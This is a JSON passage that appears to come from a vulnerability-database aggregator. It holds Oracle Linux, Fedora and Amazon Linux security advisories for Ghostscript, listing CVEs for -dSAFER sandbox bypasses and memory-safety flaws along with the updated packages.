CVE-2018-18073 ghostscript: saved execution stacks\n can leak operator arrays\n- Resolves: #1648891 - CVE-2018-17961 ghostscript: saved execution stacks\n can leak operator arrays (incomplete fix for CVE-2018-17183)\n- Resolves: #1643115 - CVE-2018-18284 ghostscript: 1Policy operator\n allows a sandbox protection bypass\n- Resolves: #1655937 - CVE-2018-19134 ghostscript: Type confusion in\n setpattern (700141)\n[9.07-31.el7_6.4]\n- Resolves: #1651149 - CVE-2018-15911 ghostscript: uninitialized memory\n access in the aesdecode operator (699665)\n- Resolves: #1650060 - CVE-2018-16802 ghostscript: Incorrect 'restoration of\n privilege' checking when running out of stack during exception handling\n- Resolves: #1652935 - CVE-2018-19409 ghostscript: Improperly implemented\n security check in zsetdevice function in psi/zdevice.c", "edition": 3, "modified": "2018-12-18T00:00:00", "published": "2018-12-18T00:00:00", "id": "ELSA-2018-3834", "href": "http://linux.oracle.com/errata/ELSA-2018-3834.html", "title": "ghostscript security and bug fix update", "type": "oraclelinux", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-14T08:38:41", "bulletinFamily": "unix", "cvelist": ["CVE-2018-17961", "CVE-2019-3835", "CVE-2018-18073", "CVE-2018-15908", "CVE-2018-17183", "CVE-2019-3839", "CVE-2018-19476", "CVE-2018-16540", "CVE-2018-18284", "CVE-2018-15911", "CVE-2018-19134", "CVE-2018-11645", "CVE-2018-19477", "CVE-2018-16802", "CVE-2018-16511", "CVE-2018-16541", "CVE-2018-16863", "CVE-2018-16539", "CVE-2018-19475", "CVE-2018-16509", "CVE-2018-19409", "CVE-2018-15909", "CVE-2019-3838", "CVE-2019-6116"], "description": "[9.25-2]\n- obsoleted old ghostscript-devel to allow clean upgrade to libgs-devel\n[9.25-1]\n- Rebase to latest upstream version (bug #1636115)\n- Resolves: #1673399 - CVE-2019-3839 ghostscript: missing attack vector\n protections for CVE-2019-6116\n- Resolves: #1678172 - CVE-2019-3835 ghostscript: superexec operator\n is available (700585)\n- Resolves: #1680026 - CVE-2019-3838 ghostscript: forceput in DefineResource\n is still accessible (700576)\n- Resolves: #1670443 - ghostscript: Regression: double comment chars\n '%' in gs_init.ps leading to missing metadata\n- fix for pdf2dsc regression added to allow fix for CVE-2019-3839\n[9.07-32]\n- Remove as many non-standard operators as possible to make the codebase\n closer to upstream for later CVEs\n- Resolves: #1621385 - CVE-2018-16511 ghostscript: missing type check in type\n checker (699659)\n- Resolves: #1649722 - CVE-2018-16539 ghostscript: incorrect access checking\n in temp file handling to disclose contents of files (699658)\n- Resolves: #1621162 - CVE-2018-15908 ghostscript: .tempfile file permission\n issues (699657)\n- Resolves: #1621384 - CVE-2018-15909 ghostscript: shading_param incomplete\n type checking (699660)\n- Resolves: #1652902 - CVE-2018-16863 ghostscript: incomplete fix for\n CVE-2018-16509\n- Resolves: #1654045 ghostscript update breaks xdvi (gs: Error: /undefined in flushpage)\n- Resolves: #1651150 - CVE-2018-15911 ghostscript: uninitialized memory\n access in the aesdecode operator (699665)\n- Resolves: #1650061 - CVE-2018-16802 ghostscript: Incorrect 'restoration of\n privilege' checking when running out of stack during exception handling\n- Resolves: #1652936 - CVE-2018-19409 ghostscript: Improperly implemented\n security check in zsetdevice function in psi/zdevice.c\n- Resolves: #1654622 - CVE-2018-16541 ghostscript: incorrect free logic in\n pagedevice replacement (699664)\n- Resolves: #1650211 - CVE-2018-17183 ghostscript: User-writable error\n exception table\n- Resolves: #1645517 - CVE-2018-18073 ghostscript: saved execution stacks\n can leak operator arrays\n- Resolves: #1648892 - CVE-2018-17961 ghostscript: saved execution stacks\n can leak operator arrays (incomplete fix for CVE-2018-17183)\n- Resolves: #1643117 - CVE-2018-18284 ghostscript: 1Policy operator\n allows a sandbox protection bypass\n- Resolves: #1655939 - CVE-2018-19134 ghostscript: Type confusion in\n setpattern (700141)\n- Resolves: #1657694 - ghostscript: Regression: Warning: Dropping incorrect\n smooth shading object (Error: /rangecheck in --run--)\n- Resolves: #1661210 pdf2ps reports an error when reading from stdin\n- Resolves: #1657334 - CVE-2018-16540 ghostscript: use-after-free in\n copydevice handling (699661)\n- Resolves: #1660570 - CVE-2018-19475 ghostscript: access bypass in\n psi/zdevice2.c (700153)\n- Resolves: #1660829 - CVE-2018-19476 ghostscript: access bypass in\n psi/zicc.c\n- Resolves: #1661279 - CVE-2018-19477 ghostscript: access bypass in\n psi/zfjbig2.c (700168)\n- Resolves: #1667443 - CVE-2019-6116 ghostscript: subroutines within\n pseudo-operators must themselves be pseudo-operators\n- Resolves: #1670443 - ghostscript: Regression: double comment chars\n '%' in gs_init.ps leading to missing metadata", "edition": 1, "modified": "2019-08-13T00:00:00", "published": "2019-08-13T00:00:00", "id": "ELSA-2019-2281", "href": "http://linux.oracle.com/errata/ELSA-2019-2281.html", "title": "ghostscript security, bug fix, and enhancement update", "type": "oraclelinux", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "fedora": [{"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2018-17183", "CVE-2018-17961", "CVE-2018-18073", "CVE-2018-18284", "CVE-2018-19134", "CVE-2018-19409", "CVE-2018-19475", "CVE-2018-19476", "CVE-2018-19477", "CVE-2018-19478"], "description": "This package provides useful conversion utilities based on Ghostscript soft ware, for converting PS, PDF and other document formats between each other. Ghostscript is a suite of software providing an interpreter for Adobe Syste ms' PostScript (PS) and Portable Document Format (PDF) page description languag es. Its primary purpose includes displaying (rasterization & rendering) and pri nting of document pages, as well as conversions between different document format s. ", "modified": "2019-02-12T02:58:39", "published": "2019-02-12T02:58:39", "id": "FEDORA:3B20860F60C5", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 29 Update: ghostscript-9.26-1.fc29", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:55", "bulletinFamily": "unix", "cvelist": ["CVE-2018-10194", "CVE-2018-16802", "CVE-2018-17183", "CVE-2018-17961", "CVE-2018-18073", "CVE-2018-18284", "CVE-2018-19134", "CVE-2018-19409", "CVE-2018-19475", "CVE-2018-19476", "CVE-2018-19477", "CVE-2018-19478"], "description": "This package provides useful conversion utilities based on Ghostscript soft ware, for converting PS, PDF and other document formats between each other. Ghostscript is a suite of software providing an interpreter for Adobe Syste ms' PostScript (PS) and Portable Document Format (PDF) page description languag es. Its primary purpose includes displaying (rasterization & rendering) and pri nting of document pages, as well as conversions between different document format s. ", "modified": "2019-02-18T01:27:21", "published": "2019-02-18T01:27:21", "id": "FEDORA:126AB6056F14", "href": "", "type": "fedora", "title": "[SECURITY] Fedora 28 Update: ghostscript-9.26-1.fc28", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "amazon": [{"lastseen": "2021-02-20T03:27:33", "bulletinFamily": "unix", "cvelist": ["CVE-2018-17961", "CVE-2019-3835", "CVE-2018-18073", "CVE-2019-14869", "CVE-2018-17183", "CVE-2019-3839", "CVE-2018-19476", "CVE-2018-18284", "CVE-2018-19134", "CVE-2019-14811", "CVE-2019-14817", "CVE-2018-19477", "CVE-2019-14812", "CVE-2019-14813", "CVE-2018-19475", "CVE-2018-19409", "CVE-2019-3838", "CVE-2019-6116"], "description": "**Issue Overview:**\n\nArtifex Ghostscript before 9.25 allowed a user-writable error exception table, which could be used by remote attackers able to supply crafted PostScript to potentially overwrite or replace error handlers to inject code. ([CVE-2018-17183 __](<https://access.redhat.com/security/cve/CVE-2018-17183>))\n\nArtifex Ghostscript 9.25 and earlier allows attackers to bypass a sandbox protection mechanism via vectors involving errorhandler setup. NOTE: this issue exists because of an incomplete fix for [CVE-2018-17183 __](<https://access.redhat.com/security/cve/CVE-2018-17183>). ([CVE-2018-17961 __](<https://access.redhat.com/security/cve/CVE-2018-17961>))\n\nArtifex Ghostscript allows attackers to bypass a sandbox protection mechanism by leveraging exposure of system operators in the saved execution stack in an error object. ([CVE-2018-18073 __](<https://access.redhat.com/security/cve/CVE-2018-18073>))\n\nArtifex Ghostscript 9.25 and earlier allows attackers to bypass a sandbox protection mechanism via vectors involving the 1Policy operator. ([CVE-2018-18284 __](<https://access.redhat.com/security/cve/CVE-2018-18284>))\n\nIn Artifex Ghostscript through 9.25, the setpattern operator did not properly validate certain types. A specially crafted PostScript document could exploit this to crash Ghostscript or, possibly, execute arbitrary code in the context of the Ghostscript process. This is a type confusion issue because of failure to check whether the Implementation of a pattern dictionary was a structure type. ([CVE-2018-19134 __](<https://access.redhat.com/security/cve/CVE-2018-19134>))\n\nAn issue was discovered in Artifex Ghostscript before 9.26. LockSafetyParams is not checked correctly if another device is used. ([CVE-2018-19409 __](<https://access.redhat.com/security/cve/CVE-2018-19409>))\n\npsi/zdevice2.c in Artifex Ghostscript before 9.26 allows remote attackers to bypass intended access restrictions because available stack space is not checked when the device remains the same. ([CVE-2018-19475 __](<https://access.redhat.com/security/cve/CVE-2018-19475>))\n\npsi/zicc.c in Artifex Ghostscript before 9.26 allows remote attackers to bypass intended access restrictions because of a setcolorspace type confusion. ([CVE-2018-19476 __](<https://access.redhat.com/security/cve/CVE-2018-19476>))\n\npsi/zfjbig2.c in Artifex Ghostscript before 9.26 allows remote attackers to bypass intended access restrictions because of a JBIG2Decode type confusion. ([CVE-2018-19477 __](<https://access.redhat.com/security/cve/CVE-2018-19477>))\n\nA flaw was found in the .pdf_hook_DSC_Creator procedure where it did not properly secure its privileged calls, enabling scripts to bypass `-dSAFER` restrictions. A specially crafted PostScript file could disable security protection and then have access to the file system, or execute arbitrary commands. ([CVE-2019-14811 __](<https://access.redhat.com/security/cve/CVE-2019-14811>))\n\nA flaw was found in the .setuserparams2 procedure where it did not properly secure its privileged calls, enabling scripts to bypass `-dSAFER` restrictions. A specially crafted PostScript file could disable security protection and then have access to the file system, or execute arbitrary commands. ([CVE-2019-14812 __](<https://access.redhat.com/security/cve/CVE-2019-14812>))\n\nA flaw was found in the setsystemparams procedure where it did not properly secure its privileged calls, enabling scripts to bypass `-dSAFER` restrictions. A specially crafted PostScript file could disable security protection and then have access to the file system, or execute arbitrary commands. ([CVE-2019-14813 __](<https://access.redhat.com/security/cve/CVE-2019-14813>))\n\nA flaw was found in the .pdfexectoken and other procedures where it did not properly secure its privileged calls, enabling scripts to bypass `-dSAFER` restrictions. A specially crafted PostScript file could disable security protection and then have access to the file system, or execute arbitrary commands. ([CVE-2019-14817 __](<https://access.redhat.com/security/cve/CVE-2019-14817>))\n\nA flaw was found in the `.charkeys` procedure, where it did not properly secure its privileged calls, enabling scripts to bypass `-dSAFER` restrictions. An attacker could abuse this flaw by creating a specially crafted PostScript file that could escalate privileges within the Ghostscript and access files outside of restricted areas or execute commands. ([CVE-2019-14869 __](<https://access.redhat.com/security/cve/CVE-2019-14869>))\n\nIt was found that the superexec operator was available in the internal dictionary. A specially crafted PostScript file could use this flaw in order to, for example, have access to the file system outside of the constrains imposed by -dSAFER. ([CVE-2019-3835 __](<https://access.redhat.com/security/cve/CVE-2019-3835>))\n\nIt was found that the forceput operator could be extracted from the DefineResource method. A specially crafted PostScript file could use this flaw in order to, for example, have access to the file system outside of the constrains imposed by -dSAFER. ([CVE-2019-3838 __](<https://access.redhat.com/security/cve/CVE-2019-3838>))\n\nIt was found that some privileged operators remained accessible from various places after the [CVE-2019-6116 __](<https://access.redhat.com/security/cve/CVE-2019-6116>) fix. A specially crafted PostScript file could use this flaw in order to, for example, have access to the file system outside of the constrains imposed by -dSAFER. ([CVE-2019-3839 __](<https://access.redhat.com/security/cve/CVE-2019-3839>))\n\nIt was found that ghostscript could leak sensitive operators on the operand stack when a pseudo-operator pushes a subroutine. A specially crafted PostScript file could use this flaw to escape the -dSAFER protection in order to, for example, have access to the file system outside of the SAFER constraints. ([CVE-2019-6116 __](<https://access.redhat.com/security/cve/CVE-2019-6116>))\n\n \n**Affected Packages:** \n\n\nghostscript\n\n \n**Issue Correction:** \nRun _yum update ghostscript_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n ghostscript-9.25-5.amzn2.aarch64 \n libgs-9.25-5.amzn2.aarch64 \n libgs-devel-9.25-5.amzn2.aarch64 \n ghostscript-gtk-9.25-5.amzn2.aarch64 \n ghostscript-cups-9.25-5.amzn2.aarch64 \n ghostscript-debuginfo-9.25-5.amzn2.aarch64 \n \n i686: \n ghostscript-9.25-5.amzn2.i686 \n libgs-9.25-5.amzn2.i686 \n libgs-devel-9.25-5.amzn2.i686 \n ghostscript-gtk-9.25-5.amzn2.i686 \n ghostscript-cups-9.25-5.amzn2.i686 \n ghostscript-debuginfo-9.25-5.amzn2.i686 \n \n noarch: \n ghostscript-doc-9.25-5.amzn2.noarch \n \n src: \n ghostscript-9.25-5.amzn2.src \n \n x86_64: \n ghostscript-9.25-5.amzn2.x86_64 \n libgs-9.25-5.amzn2.x86_64 \n libgs-devel-9.25-5.amzn2.x86_64 \n ghostscript-gtk-9.25-5.amzn2.x86_64 \n ghostscript-cups-9.25-5.amzn2.x86_64 \n ghostscript-debuginfo-9.25-5.amzn2.x86_64 \n \n \n", "edition": 1, "modified": "2021-02-17T00:58:00", "published": "2021-02-17T00:58:00", "id": "ALAS2-2021-1598", "href": "https://alas.aws.amazon.com/AL2/ALAS-2021-1598.html", "title": "Important: ghostscript", "type": "amazon", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}]}